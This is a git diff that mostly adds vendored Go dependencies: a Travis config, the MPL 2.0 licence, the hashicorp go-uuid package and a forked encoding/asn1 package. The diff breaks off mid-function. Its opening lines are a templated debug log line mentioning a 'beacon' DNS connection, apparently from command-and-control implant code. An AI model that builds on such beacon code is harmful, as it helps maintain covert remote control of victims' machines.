|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] dns connection error %s", err)
|
||||
|
||||
+12
@@ -0,0 +1,12 @@
|
||||
language: go
|
||||
|
||||
sudo: false
|
||||
|
||||
go:
|
||||
- 1.4
|
||||
- 1.5
|
||||
- 1.6
|
||||
- tip
|
||||
|
||||
script:
|
||||
- go test -bench . -benchmem -v ./...
|
||||
+363
@@ -0,0 +1,363 @@
|
||||
Mozilla Public License, version 2.0
|
||||
|
||||
1. Definitions
|
||||
|
||||
1.1. "Contributor"
|
||||
|
||||
means each individual or legal entity that creates, contributes to the
|
||||
creation of, or owns Covered Software.
|
||||
|
||||
1.2. "Contributor Version"
|
||||
|
||||
means the combination of the Contributions of others (if any) used by a
|
||||
Contributor and that particular Contributor's Contribution.
|
||||
|
||||
1.3. "Contribution"
|
||||
|
||||
means Covered Software of a particular Contributor.
|
||||
|
||||
1.4. "Covered Software"
|
||||
|
||||
means Source Code Form to which the initial Contributor has attached the
|
||||
notice in Exhibit A, the Executable Form of such Source Code Form, and
|
||||
Modifications of such Source Code Form, in each case including portions
|
||||
thereof.
|
||||
|
||||
1.5. "Incompatible With Secondary Licenses"
|
||||
means
|
||||
|
||||
a. that the initial Contributor has attached the notice described in
|
||||
Exhibit B to the Covered Software; or
|
||||
|
||||
b. that the Covered Software was made available under the terms of
|
||||
version 1.1 or earlier of the License, but not also under the terms of
|
||||
a Secondary License.
|
||||
|
||||
1.6. "Executable Form"
|
||||
|
||||
means any form of the work other than Source Code Form.
|
||||
|
||||
1.7. "Larger Work"
|
||||
|
||||
means a work that combines Covered Software with other material, in a
|
||||
separate file or files, that is not Covered Software.
|
||||
|
||||
1.8. "License"
|
||||
|
||||
means this document.
|
||||
|
||||
1.9. "Licensable"
|
||||
|
||||
means having the right to grant, to the maximum extent possible, whether
|
||||
at the time of the initial grant or subsequently, any and all of the
|
||||
rights conveyed by this License.
|
||||
|
||||
1.10. "Modifications"
|
||||
|
||||
means any of the following:
|
||||
|
||||
a. any file in Source Code Form that results from an addition to,
|
||||
deletion from, or modification of the contents of Covered Software; or
|
||||
|
||||
b. any new file in Source Code Form that contains any Covered Software.
|
||||
|
||||
1.11. "Patent Claims" of a Contributor
|
||||
|
||||
means any patent claim(s), including without limitation, method,
|
||||
process, and apparatus claims, in any patent Licensable by such
|
||||
Contributor that would be infringed, but for the grant of the License,
|
||||
by the making, using, selling, offering for sale, having made, import,
|
||||
or transfer of either its Contributions or its Contributor Version.
|
||||
|
||||
1.12. "Secondary License"
|
||||
|
||||
means either the GNU General Public License, Version 2.0, the GNU Lesser
|
||||
General Public License, Version 2.1, the GNU Affero General Public
|
||||
License, Version 3.0, or any later versions of those licenses.
|
||||
|
||||
1.13. "Source Code Form"
|
||||
|
||||
means the form of the work preferred for making modifications.
|
||||
|
||||
1.14. "You" (or "Your")
|
||||
|
||||
means an individual or a legal entity exercising rights under this
|
||||
License. For legal entities, "You" includes any entity that controls, is
|
||||
controlled by, or is under common control with You. For purposes of this
|
||||
definition, "control" means (a) the power, direct or indirect, to cause
|
||||
the direction or management of such entity, whether by contract or
|
||||
otherwise, or (b) ownership of more than fifty percent (50%) of the
|
||||
outstanding shares or beneficial ownership of such entity.
|
||||
|
||||
|
||||
2. License Grants and Conditions
|
||||
|
||||
2.1. Grants
|
||||
|
||||
Each Contributor hereby grants You a world-wide, royalty-free,
|
||||
non-exclusive license:
|
||||
|
||||
a. under intellectual property rights (other than patent or trademark)
|
||||
Licensable by such Contributor to use, reproduce, make available,
|
||||
modify, display, perform, distribute, and otherwise exploit its
|
||||
Contributions, either on an unmodified basis, with Modifications, or
|
||||
as part of a Larger Work; and
|
||||
|
||||
b. under Patent Claims of such Contributor to make, use, sell, offer for
|
||||
sale, have made, import, and otherwise transfer either its
|
||||
Contributions or its Contributor Version.
|
||||
|
||||
2.2. Effective Date
|
||||
|
||||
The licenses granted in Section 2.1 with respect to any Contribution
|
||||
become effective for each Contribution on the date the Contributor first
|
||||
distributes such Contribution.
|
||||
|
||||
2.3. Limitations on Grant Scope
|
||||
|
||||
The licenses granted in this Section 2 are the only rights granted under
|
||||
this License. No additional rights or licenses will be implied from the
|
||||
distribution or licensing of Covered Software under this License.
|
||||
Notwithstanding Section 2.1(b) above, no patent license is granted by a
|
||||
Contributor:
|
||||
|
||||
a. for any code that a Contributor has removed from Covered Software; or
|
||||
|
||||
b. for infringements caused by: (i) Your and any other third party's
|
||||
modifications of Covered Software, or (ii) the combination of its
|
||||
Contributions with other software (except as part of its Contributor
|
||||
Version); or
|
||||
|
||||
c. under Patent Claims infringed by Covered Software in the absence of
|
||||
its Contributions.
|
||||
|
||||
This License does not grant any rights in the trademarks, service marks,
|
||||
or logos of any Contributor (except as may be necessary to comply with
|
||||
the notice requirements in Section 3.4).
|
||||
|
||||
2.4. Subsequent Licenses
|
||||
|
||||
No Contributor makes additional grants as a result of Your choice to
|
||||
distribute the Covered Software under a subsequent version of this
|
||||
License (see Section 10.2) or under the terms of a Secondary License (if
|
||||
permitted under the terms of Section 3.3).
|
||||
|
||||
2.5. Representation
|
||||
|
||||
Each Contributor represents that the Contributor believes its
|
||||
Contributions are its original creation(s) or it has sufficient rights to
|
||||
grant the rights to its Contributions conveyed by this License.
|
||||
|
||||
2.6. Fair Use
|
||||
|
||||
This License is not intended to limit any rights You have under
|
||||
applicable copyright doctrines of fair use, fair dealing, or other
|
||||
equivalents.
|
||||
|
||||
2.7. Conditions
|
||||
|
||||
Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in
|
||||
Section 2.1.
|
||||
|
||||
|
||||
3. Responsibilities
|
||||
|
||||
3.1. Distribution of Source Form
|
||||
|
||||
All distribution of Covered Software in Source Code Form, including any
|
||||
Modifications that You create or to which You contribute, must be under
|
||||
the terms of this License. You must inform recipients that the Source
|
||||
Code Form of the Covered Software is governed by the terms of this
|
||||
License, and how they can obtain a copy of this License. You may not
|
||||
attempt to alter or restrict the recipients' rights in the Source Code
|
||||
Form.
|
||||
|
||||
3.2. Distribution of Executable Form
|
||||
|
||||
If You distribute Covered Software in Executable Form then:
|
||||
|
||||
a. such Covered Software must also be made available in Source Code Form,
|
||||
as described in Section 3.1, and You must inform recipients of the
|
||||
Executable Form how they can obtain a copy of such Source Code Form by
|
||||
reasonable means in a timely manner, at a charge no more than the cost
|
||||
of distribution to the recipient; and
|
||||
|
||||
b. You may distribute such Executable Form under the terms of this
|
||||
License, or sublicense it under different terms, provided that the
|
||||
license for the Executable Form does not attempt to limit or alter the
|
||||
recipients' rights in the Source Code Form under this License.
|
||||
|
||||
3.3. Distribution of a Larger Work
|
||||
|
||||
You may create and distribute a Larger Work under terms of Your choice,
|
||||
provided that You also comply with the requirements of this License for
|
||||
the Covered Software. If the Larger Work is a combination of Covered
|
||||
Software with a work governed by one or more Secondary Licenses, and the
|
||||
Covered Software is not Incompatible With Secondary Licenses, this
|
||||
License permits You to additionally distribute such Covered Software
|
||||
under the terms of such Secondary License(s), so that the recipient of
|
||||
the Larger Work may, at their option, further distribute the Covered
|
||||
Software under the terms of either this License or such Secondary
|
||||
License(s).
|
||||
|
||||
3.4. Notices
|
||||
|
||||
You may not remove or alter the substance of any license notices
|
||||
(including copyright notices, patent notices, disclaimers of warranty, or
|
||||
limitations of liability) contained within the Source Code Form of the
|
||||
Covered Software, except that You may alter any license notices to the
|
||||
extent required to remedy known factual inaccuracies.
|
||||
|
||||
3.5. Application of Additional Terms
|
||||
|
||||
You may choose to offer, and to charge a fee for, warranty, support,
|
||||
indemnity or liability obligations to one or more recipients of Covered
|
||||
Software. However, You may do so only on Your own behalf, and not on
|
||||
behalf of any Contributor. You must make it absolutely clear that any
|
||||
such warranty, support, indemnity, or liability obligation is offered by
|
||||
You alone, and You hereby agree to indemnify every Contributor for any
|
||||
liability incurred by such Contributor as a result of warranty, support,
|
||||
indemnity or liability terms You offer. You may include additional
|
||||
disclaimers of warranty and limitations of liability specific to any
|
||||
jurisdiction.
|
||||
|
||||
4. Inability to Comply Due to Statute or Regulation
|
||||
|
||||
If it is impossible for You to comply with any of the terms of this License
|
||||
with respect to some or all of the Covered Software due to statute,
|
||||
judicial order, or regulation then You must: (a) comply with the terms of
|
||||
this License to the maximum extent possible; and (b) describe the
|
||||
limitations and the code they affect. Such description must be placed in a
|
||||
text file included with all distributions of the Covered Software under
|
||||
this License. Except to the extent prohibited by statute or regulation,
|
||||
such description must be sufficiently detailed for a recipient of ordinary
|
||||
skill to be able to understand it.
|
||||
|
||||
5. Termination
|
||||
|
||||
5.1. The rights granted under this License will terminate automatically if You
|
||||
fail to comply with any of its terms. However, if You become compliant,
|
||||
then the rights granted under this License from a particular Contributor
|
||||
are reinstated (a) provisionally, unless and until such Contributor
|
||||
explicitly and finally terminates Your grants, and (b) on an ongoing
|
||||
basis, if such Contributor fails to notify You of the non-compliance by
|
||||
some reasonable means prior to 60 days after You have come back into
|
||||
compliance. Moreover, Your grants from a particular Contributor are
|
||||
reinstated on an ongoing basis if such Contributor notifies You of the
|
||||
non-compliance by some reasonable means, this is the first time You have
|
||||
received notice of non-compliance with this License from such
|
||||
Contributor, and You become compliant prior to 30 days after Your receipt
|
||||
of the notice.
|
||||
|
||||
5.2. If You initiate litigation against any entity by asserting a patent
|
||||
infringement claim (excluding declaratory judgment actions,
|
||||
counter-claims, and cross-claims) alleging that a Contributor Version
|
||||
directly or indirectly infringes any patent, then the rights granted to
|
||||
You by any and all Contributors for the Covered Software under Section
|
||||
2.1 of this License shall terminate.
|
||||
|
||||
5.3. In the event of termination under Sections 5.1 or 5.2 above, all end user
|
||||
license agreements (excluding distributors and resellers) which have been
|
||||
validly granted by You or Your distributors under this License prior to
|
||||
termination shall survive termination.
|
||||
|
||||
6. Disclaimer of Warranty
|
||||
|
||||
Covered Software is provided under this License on an "as is" basis,
|
||||
without warranty of any kind, either expressed, implied, or statutory,
|
||||
including, without limitation, warranties that the Covered Software is free
|
||||
of defects, merchantable, fit for a particular purpose or non-infringing.
|
||||
The entire risk as to the quality and performance of the Covered Software
|
||||
is with You. Should any Covered Software prove defective in any respect,
|
||||
You (not any Contributor) assume the cost of any necessary servicing,
|
||||
repair, or correction. This disclaimer of warranty constitutes an essential
|
||||
part of this License. No use of any Covered Software is authorized under
|
||||
this License except under this disclaimer.
|
||||
|
||||
7. Limitation of Liability
|
||||
|
||||
Under no circumstances and under no legal theory, whether tort (including
|
||||
negligence), contract, or otherwise, shall any Contributor, or anyone who
|
||||
distributes Covered Software as permitted above, be liable to You for any
|
||||
direct, indirect, special, incidental, or consequential damages of any
|
||||
character including, without limitation, damages for lost profits, loss of
|
||||
goodwill, work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses, even if such party shall have been
|
||||
informed of the possibility of such damages. This limitation of liability
|
||||
shall not apply to liability for death or personal injury resulting from
|
||||
such party's negligence to the extent applicable law prohibits such
|
||||
limitation. Some jurisdictions do not allow the exclusion or limitation of
|
||||
incidental or consequential damages, so this exclusion and limitation may
|
||||
not apply to You.
|
||||
|
||||
8. Litigation
|
||||
|
||||
Any litigation relating to this License may be brought only in the courts
|
||||
of a jurisdiction where the defendant maintains its principal place of
|
||||
business and such litigation shall be governed by laws of that
|
||||
jurisdiction, without reference to its conflict-of-law provisions. Nothing
|
||||
in this Section shall prevent a party's ability to bring cross-claims or
|
||||
counter-claims.
|
||||
|
||||
9. Miscellaneous
|
||||
|
||||
This License represents the complete agreement concerning the subject
|
||||
matter hereof. If any provision of this License is held to be
|
||||
unenforceable, such provision shall be reformed only to the extent
|
||||
necessary to make it enforceable. Any law or regulation which provides that
|
||||
the language of a contract shall be construed against the drafter shall not
|
||||
be used to construe this License against a Contributor.
|
||||
|
||||
|
||||
10. Versions of the License
|
||||
|
||||
10.1. New Versions
|
||||
|
||||
Mozilla Foundation is the license steward. Except as provided in Section
|
||||
10.3, no one other than the license steward has the right to modify or
|
||||
publish new versions of this License. Each version will be given a
|
||||
distinguishing version number.
|
||||
|
||||
10.2. Effect of New Versions
|
||||
|
||||
You may distribute the Covered Software under the terms of the version
|
||||
of the License under which You originally received the Covered Software,
|
||||
or under the terms of any subsequent version published by the license
|
||||
steward.
|
||||
|
||||
10.3. Modified Versions
|
||||
|
||||
If you create software not governed by this License, and you want to
|
||||
create a new license for such software, you may create and use a
|
||||
modified version of this License if you rename the license and remove
|
||||
any references to the name of the license steward (except to note that
|
||||
such modified license differs from this License).
|
||||
|
||||
10.4. Distributing Source Code Form that is Incompatible With Secondary
|
||||
Licenses If You choose to distribute Source Code Form that is
|
||||
Incompatible With Secondary Licenses under the terms of this version of
|
||||
the License, the notice described in Exhibit B of this License must be
|
||||
attached.
|
||||
|
||||
Exhibit A - Source Code Form License Notice
|
||||
|
||||
This Source Code Form is subject to the
|
||||
terms of the Mozilla Public License, v.
|
||||
2.0. If a copy of the MPL was not
|
||||
distributed with this file, You can
|
||||
obtain one at
|
||||
http://mozilla.org/MPL/2.0/.
|
||||
|
||||
If it is not possible or desirable to put the notice in a particular file,
|
||||
then You may include the notice in a location (such as a LICENSE file in a
|
||||
relevant directory) where a recipient would be likely to look for such a
|
||||
notice.
|
||||
|
||||
You may add additional accurate notices of copyright ownership.
|
||||
|
||||
Exhibit B - "Incompatible With Secondary Licenses" Notice
|
||||
|
||||
This Source Code Form is "Incompatible
|
||||
With Secondary Licenses", as defined by
|
||||
the Mozilla Public License, v. 2.0.
|
||||
|
||||
+8
@@ -0,0 +1,8 @@
|
||||
# uuid [](https://travis-ci.org/hashicorp/go-uuid)
|
||||
|
||||
Generates UUID-format strings using high quality, _purely random_ bytes. It is **not** intended to be RFC compliant, merely to use a well-understood string representation of a 128-bit value. It can also parse UUID-format strings into their component bytes.
|
||||
|
||||
Documentation
|
||||
=============
|
||||
|
||||
The full documentation is available on [Godoc](http://godoc.org/github.com/hashicorp/go-uuid).
|
||||
+83
@@ -0,0 +1,83 @@
|
||||
package uuid
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
// GenerateRandomBytes is used to generate random bytes of given size.
|
||||
func GenerateRandomBytes(size int) ([]byte, error) {
|
||||
return GenerateRandomBytesWithReader(size, rand.Reader)
|
||||
}
|
||||
|
||||
// GenerateRandomBytesWithReader is used to generate random bytes of given size read from a given reader.
|
||||
func GenerateRandomBytesWithReader(size int, reader io.Reader) ([]byte, error) {
|
||||
if reader == nil {
|
||||
return nil, fmt.Errorf("provided reader is nil")
|
||||
}
|
||||
buf := make([]byte, size)
|
||||
if _, err := io.ReadFull(reader, buf); err != nil {
|
||||
return nil, fmt.Errorf("failed to read random bytes: %v", err)
|
||||
}
|
||||
return buf, nil
|
||||
}
|
||||
|
||||
|
||||
const uuidLen = 16
|
||||
|
||||
// GenerateUUID is used to generate a random UUID
|
||||
func GenerateUUID() (string, error) {
|
||||
return GenerateUUIDWithReader(rand.Reader)
|
||||
}
|
||||
|
||||
// GenerateUUIDWithReader is used to generate a random UUID with a given Reader
|
||||
func GenerateUUIDWithReader(reader io.Reader) (string, error) {
|
||||
if reader == nil {
|
||||
return "", fmt.Errorf("provided reader is nil")
|
||||
}
|
||||
buf, err := GenerateRandomBytesWithReader(uuidLen, reader)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return FormatUUID(buf)
|
||||
}
|
||||
|
||||
func FormatUUID(buf []byte) (string, error) {
|
||||
if buflen := len(buf); buflen != uuidLen {
|
||||
return "", fmt.Errorf("wrong length byte slice (%d)", buflen)
|
||||
}
|
||||
|
||||
return fmt.Sprintf("%x-%x-%x-%x-%x",
|
||||
buf[0:4],
|
||||
buf[4:6],
|
||||
buf[6:8],
|
||||
buf[8:10],
|
||||
buf[10:16]), nil
|
||||
}
|
||||
|
||||
func ParseUUID(uuid string) ([]byte, error) {
|
||||
if len(uuid) != 2 * uuidLen + 4 {
|
||||
return nil, fmt.Errorf("uuid string is wrong length")
|
||||
}
|
||||
|
||||
if uuid[8] != '-' ||
|
||||
uuid[13] != '-' ||
|
||||
uuid[18] != '-' ||
|
||||
uuid[23] != '-' {
|
||||
return nil, fmt.Errorf("uuid is improperly formatted")
|
||||
}
|
||||
|
||||
hexStr := uuid[0:8] + uuid[9:13] + uuid[14:18] + uuid[19:23] + uuid[24:36]
|
||||
|
||||
ret, err := hex.DecodeString(hexStr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(ret) != uuidLen {
|
||||
return nil, fmt.Errorf("decoded hex is the wrong length")
|
||||
}
|
||||
|
||||
return ret, nil
|
||||
}
|
||||
Generated
Vendored
+1
-1
@@ -1,4 +1,4 @@
|
||||
Copyright (c) 2017 The Go Authors. All rights reserved.
|
||||
Copyright (c) 2009 The Go Authors. All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are
|
||||
+5
@@ -0,0 +1,5 @@
|
||||
This is a temporary repository that will be removed when the issues below are fixed in the core golang code.
|
||||
|
||||
## Issues
|
||||
* [encoding/asn1: cannot marshal into a GeneralString](https://github.com/golang/go/issues/18832)
|
||||
* [encoding/asn1: cannot marshal into slice of strings and pass stringtype parameter tags to members](https://github.com/golang/go/issues/18834)
|
||||
+1003
File diff suppressed because it is too large.
Load diff
+173
@@ -0,0 +1,173 @@
|
||||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package asn1
|
||||
|
||||
import (
|
||||
"reflect"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ASN.1 objects have metadata preceding them:
|
||||
// the tag: the type of the object
|
||||
// a flag denoting if this object is compound or not
|
||||
// the class type: the namespace of the tag
|
||||
// the length of the object, in bytes
|
||||
|
||||
// Here are some standard tags and classes
|
||||
|
||||
// ASN.1 tags represent the type of the following object.
|
||||
const (
|
||||
TagBoolean = 1
|
||||
TagInteger = 2
|
||||
TagBitString = 3
|
||||
TagOctetString = 4
|
||||
TagOID = 6
|
||||
TagEnum = 10
|
||||
TagUTF8String = 12
|
||||
TagSequence = 16
|
||||
TagSet = 17
|
||||
TagPrintableString = 19
|
||||
TagT61String = 20
|
||||
TagIA5String = 22
|
||||
TagUTCTime = 23
|
||||
TagGeneralizedTime = 24
|
||||
TagGeneralString = 27
|
||||
)
|
||||
|
||||
// ASN.1 class types represent the namespace of the tag.
|
||||
const (
|
||||
ClassUniversal = 0
|
||||
ClassApplication = 1
|
||||
ClassContextSpecific = 2
|
||||
ClassPrivate = 3
|
||||
)
|
||||
|
||||
type tagAndLength struct {
|
||||
class, tag, length int
|
||||
isCompound bool
|
||||
}
|
||||
|
||||
// ASN.1 has IMPLICIT and EXPLICIT tags, which can be translated as "instead
|
||||
// of" and "in addition to". When not specified, every primitive type has a
|
||||
// default tag in the UNIVERSAL class.
|
||||
//
|
||||
// For example: a BIT STRING is tagged [UNIVERSAL 3] by default (although ASN.1
|
||||
// doesn't actually have a UNIVERSAL keyword). However, by saying [IMPLICIT
|
||||
// CONTEXT-SPECIFIC 42], that means that the tag is replaced by another.
|
||||
//
|
||||
// On the other hand, if it said [EXPLICIT CONTEXT-SPECIFIC 10], then an
|
||||
// /additional/ tag would wrap the default tag. This explicit tag will have the
|
||||
// compound flag set.
|
||||
//
|
||||
// (This is used in order to remove ambiguity with optional elements.)
|
||||
//
|
||||
// You can layer EXPLICIT and IMPLICIT tags to an arbitrary depth, however we
|
||||
// don't support that here. We support a single layer of EXPLICIT or IMPLICIT
|
||||
// tagging with tag strings on the fields of a structure.
|
||||
|
||||
// fieldParameters is the parsed representation of tag string from a structure field.
|
||||
type fieldParameters struct {
|
||||
optional bool // true iff the field is OPTIONAL
|
||||
explicit bool // true iff an EXPLICIT tag is in use.
|
||||
application bool // true iff an APPLICATION tag is in use.
|
||||
defaultValue *int64 // a default value for INTEGER typed fields (maybe nil).
|
||||
tag *int // the EXPLICIT or IMPLICIT tag (maybe nil).
|
||||
stringType int // the string tag to use when marshaling.
|
||||
timeType int // the time tag to use when marshaling.
|
||||
set bool // true iff this should be encoded as a SET
|
||||
omitEmpty bool // true iff this should be omitted if empty when marshaling.
|
||||
|
||||
// Invariants:
|
||||
// if explicit is set, tag is non-nil.
|
||||
}
|
||||
|
||||
// Given a tag string with the format specified in the package comment,
|
||||
// parseFieldParameters will parse it into a fieldParameters structure,
|
||||
// ignoring unknown parts of the string.
|
||||
func parseFieldParameters(str string) (ret fieldParameters) {
|
||||
for _, part := range strings.Split(str, ",") {
|
||||
switch {
|
||||
case part == "optional":
|
||||
ret.optional = true
|
||||
case part == "explicit":
|
||||
ret.explicit = true
|
||||
if ret.tag == nil {
|
||||
ret.tag = new(int)
|
||||
}
|
||||
case part == "generalized":
|
||||
ret.timeType = TagGeneralizedTime
|
||||
case part == "utc":
|
||||
ret.timeType = TagUTCTime
|
||||
case part == "ia5":
|
||||
ret.stringType = TagIA5String
|
||||
// jtasn1 case below added
|
||||
case part == "generalstring":
|
||||
ret.stringType = TagGeneralString
|
||||
case part == "printable":
|
||||
ret.stringType = TagPrintableString
|
||||
case part == "utf8":
|
||||
ret.stringType = TagUTF8String
|
||||
case strings.HasPrefix(part, "default:"):
|
||||
i, err := strconv.ParseInt(part[8:], 10, 64)
|
||||
if err == nil {
|
||||
ret.defaultValue = new(int64)
|
||||
*ret.defaultValue = i
|
||||
}
|
||||
case strings.HasPrefix(part, "tag:"):
|
||||
i, err := strconv.Atoi(part[4:])
|
||||
if err == nil {
|
||||
ret.tag = new(int)
|
||||
*ret.tag = i
|
||||
}
|
||||
case part == "set":
|
||||
ret.set = true
|
||||
case part == "application":
|
||||
ret.application = true
|
||||
if ret.tag == nil {
|
||||
ret.tag = new(int)
|
||||
}
|
||||
case part == "omitempty":
|
||||
ret.omitEmpty = true
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Given a reflected Go type, getUniversalType returns the default tag number
|
||||
// and expected compound flag.
|
||||
func getUniversalType(t reflect.Type) (tagNumber int, isCompound, ok bool) {
|
||||
switch t {
|
||||
case objectIdentifierType:
|
||||
return TagOID, false, true
|
||||
case bitStringType:
|
||||
return TagBitString, false, true
|
||||
case timeType:
|
||||
return TagUTCTime, false, true
|
||||
case enumeratedType:
|
||||
return TagEnum, false, true
|
||||
case bigIntType:
|
||||
return TagInteger, false, true
|
||||
}
|
||||
switch t.Kind() {
|
||||
case reflect.Bool:
|
||||
return TagBoolean, false, true
|
||||
case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:
|
||||
return TagInteger, false, true
|
||||
case reflect.Struct:
|
||||
return TagSequence, true, true
|
||||
case reflect.Slice:
|
||||
if t.Elem().Kind() == reflect.Uint8 {
|
||||
return TagOctetString, false, true
|
||||
}
|
||||
if strings.HasSuffix(t.Name(), "SET") {
|
||||
return TagSet, true, true
|
||||
}
|
||||
return TagSequence, true, true
|
||||
case reflect.String:
|
||||
return TagPrintableString, false, true
|
||||
}
|
||||
return 0, false, false
|
||||
}
|
||||
+659
@@ -0,0 +1,659 @@
|
||||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package asn1
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"math/big"
|
||||
"reflect"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
// A forkableWriter is an in-memory buffer that can be
|
||||
// 'forked' to create new forkableWriters that bracket the
|
||||
// original. After
|
||||
// pre, post := w.fork()
|
||||
// the overall sequence of bytes represented is logically w+pre+post.
|
||||
type forkableWriter struct {
|
||||
*bytes.Buffer
|
||||
pre, post *forkableWriter
|
||||
}
|
||||
|
||||
func newForkableWriter() *forkableWriter {
|
||||
return &forkableWriter{new(bytes.Buffer), nil, nil}
|
||||
}
|
||||
|
||||
func (f *forkableWriter) fork() (pre, post *forkableWriter) {
|
||||
if f.pre != nil || f.post != nil {
|
||||
panic("have already forked")
|
||||
}
|
||||
f.pre = newForkableWriter()
|
||||
f.post = newForkableWriter()
|
||||
return f.pre, f.post
|
||||
}
|
||||
|
||||
func (f *forkableWriter) Len() (l int) {
|
||||
l += f.Buffer.Len()
|
||||
if f.pre != nil {
|
||||
l += f.pre.Len()
|
||||
}
|
||||
if f.post != nil {
|
||||
l += f.post.Len()
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (f *forkableWriter) writeTo(out io.Writer) (n int, err error) {
|
||||
n, err = out.Write(f.Bytes())
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
var nn int
|
||||
|
||||
if f.pre != nil {
|
||||
nn, err = f.pre.writeTo(out)
|
||||
n += nn
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if f.post != nil {
|
||||
nn, err = f.post.writeTo(out)
|
||||
n += nn
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func marshalBase128Int(out *forkableWriter, n int64) (err error) {
|
||||
if n == 0 {
|
||||
err = out.WriteByte(0)
|
||||
return
|
||||
}
|
||||
|
||||
l := 0
|
||||
for i := n; i > 0; i >>= 7 {
|
||||
l++
|
||||
}
|
||||
|
||||
for i := l - 1; i >= 0; i-- {
|
||||
o := byte(n >> uint(i*7))
|
||||
o &= 0x7f
|
||||
if i != 0 {
|
||||
o |= 0x80
|
||||
}
|
||||
err = out.WriteByte(o)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func marshalInt64(out *forkableWriter, i int64) (err error) {
|
||||
n := int64Length(i)
|
||||
|
||||
for ; n > 0; n-- {
|
||||
err = out.WriteByte(byte(i >> uint((n-1)*8)))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func int64Length(i int64) (numBytes int) {
|
||||
numBytes = 1
|
||||
|
||||
for i > 127 {
|
||||
numBytes++
|
||||
i >>= 8
|
||||
}
|
||||
|
||||
for i < -128 {
|
||||
numBytes++
|
||||
i >>= 8
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func marshalBigInt(out *forkableWriter, n *big.Int) (err error) {
|
||||
if n.Sign() < 0 {
|
||||
// A negative number has to be converted to two's-complement
|
||||
// form. So we'll subtract 1 and invert. If the
|
||||
// most-significant-bit isn't set then we'll need to pad the
|
||||
// beginning with 0xff in order to keep the number negative.
|
||||
nMinus1 := new(big.Int).Neg(n)
|
||||
nMinus1.Sub(nMinus1, bigOne)
|
||||
bytes := nMinus1.Bytes()
|
||||
for i := range bytes {
|
||||
bytes[i] ^= 0xff
|
||||
}
|
||||
if len(bytes) == 0 || bytes[0]&0x80 == 0 {
|
||||
err = out.WriteByte(0xff)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
_, err = out.Write(bytes)
|
||||
} else if n.Sign() == 0 {
|
||||
// Zero is written as a single 0 zero rather than no bytes.
|
||||
err = out.WriteByte(0x00)
|
||||
} else {
|
||||
bytes := n.Bytes()
|
||||
if len(bytes) > 0 && bytes[0]&0x80 != 0 {
|
||||
// We'll have to pad this with 0x00 in order to stop it
|
||||
// looking like a negative number.
|
||||
err = out.WriteByte(0)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
_, err = out.Write(bytes)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func marshalLength(out *forkableWriter, i int) (err error) {
|
||||
n := lengthLength(i)
|
||||
|
||||
for ; n > 0; n-- {
|
||||
err = out.WriteByte(byte(i >> uint((n-1)*8)))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func lengthLength(i int) (numBytes int) {
|
||||
numBytes = 1
|
||||
for i > 255 {
|
||||
numBytes++
|
||||
i >>= 8
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func marshalTagAndLength(out *forkableWriter, t tagAndLength) (err error) {
|
||||
b := uint8(t.class) << 6
|
||||
if t.isCompound {
|
||||
b |= 0x20
|
||||
}
|
||||
if t.tag >= 31 {
|
||||
b |= 0x1f
|
||||
err = out.WriteByte(b)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = marshalBase128Int(out, int64(t.tag))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
} else {
|
||||
b |= uint8(t.tag)
|
||||
err = out.WriteByte(b)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if t.length >= 128 {
|
||||
l := lengthLength(t.length)
|
||||
err = out.WriteByte(0x80 | byte(l))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = marshalLength(out, t.length)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
} else {
|
||||
err = out.WriteByte(byte(t.length))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func marshalBitString(out *forkableWriter, b BitString) (err error) {
|
||||
paddingBits := byte((8 - b.BitLength%8) % 8)
|
||||
err = out.WriteByte(paddingBits)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = out.Write(b.Bytes)
|
||||
return
|
||||
}
|
||||
|
||||
func marshalObjectIdentifier(out *forkableWriter, oid []int) (err error) {
|
||||
if len(oid) < 2 || oid[0] > 2 || (oid[0] < 2 && oid[1] >= 40) {
|
||||
return StructuralError{"invalid object identifier"}
|
||||
}
|
||||
|
||||
